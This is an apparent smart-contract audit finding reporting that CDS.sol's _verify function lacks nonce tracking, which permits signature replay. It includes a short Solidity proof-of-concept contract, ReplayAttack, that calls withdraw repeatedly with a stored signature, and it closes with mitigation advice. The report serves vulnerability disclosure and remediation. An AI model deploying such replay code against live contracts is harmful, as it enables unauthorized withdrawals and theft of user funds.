Mythical Burgundy Puppy
High
The lack of nonce tracking in the _verify function will cause potential replay attacks for the protocol as an attacker can reuse valid signatures multiple times.
In CDS.sol:878-917, the _verify function does not store, track, or invalidate used nonces after successful verification. Although the signed message includes a nonce, the contract never updates an internal state variable to record that this nonce has been consumed, allowing the same signature to be replayed multiple times.
- A valid signature from hashedAdminTwo must be obtained for a specific action (e.g., CDS_WITHDRAW).
- The nonce included in the signed message is not recorded or invalidated within the contract.
None. The attacker only needs a previously valid signature. Once they have it, no external conditions are needed to replay it.
- An attacker obtains a valid signature from the authorized signer (hashedAdminTwo) for a privileged action (e.g., withdraw in CDS_WITHDRAW mode).
- The attacker calls the function requiring the signature (withdraw) using the previously obtained valid signature and nonce.
- Due to the lack of nonce tracking, the contract considers the signature valid again and executes the action repeatedly.
- The attacker can replay this action multiple times, resulting in repeated unauthorized withdrawals or any action protected by the signature mechanism.
The protocol suffers from unlimited replay of previously authorized actions, potentially allowing attackers to drain funds or repeatedly perform privileged operations. This can lead to severe financial losses and erode user and investor trust in the protocol.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
// Interface to interact with the vulnerable CDS contract
interface ICDS {
// A hypothetical function that requires a valid signature for a privileged action
function withdraw(
uint64 index,
uint256 excessProfitCumulativeValue,
uint256 nonce,
bytes memory signature
) external payable;
}
contract ReplayAttack {
ICDS public cds;
// Store a previously valid signature obtained by attacker
bytes public storedSignature;
uint256 public storedNonce;
uint256 public storedExcessProfit;
uint64 public storedIndex;
constructor(
address _cdsAddress,
uint64 _index,
uint256 _excessProfitCumulativeValue,
uint256 _nonce,
bytes memory _signature
) {
cds = ICDS(_cdsAddress);
storedIndex = _index;
storedExcessProfit = _excessProfitCumulativeValue;
storedNonce = _nonce;
storedSignature = _signature;
}
// Exploit function to replay the same signature multiple times
function exploit() external payable {
// Call `withdraw` repeatedly with the same signature and nonce
cds.withdraw(storedIndex, storedExcessProfit, storedNonce, storedSignature);
cds.withdraw(storedIndex, storedExcessProfit, storedNonce, storedSignature);
// ... Can keep calling this indefinitely
}
}
Implement Nonce Tracking:
Introduce a state variable (e.g., mapping(uint256 => bool) usedNonces;) to track used nonces. After a valid signature is processed, mark the nonce as used to prevent replay.
Add Replay Protection in Documentation and Testing:
Document the nonce usage in code comments and create tests ensuring that reused signatures fail.
Consider Time-Limited Signatures or Other Measures:
If appropriate, consider additional security measures like expiration timestamps on signatures.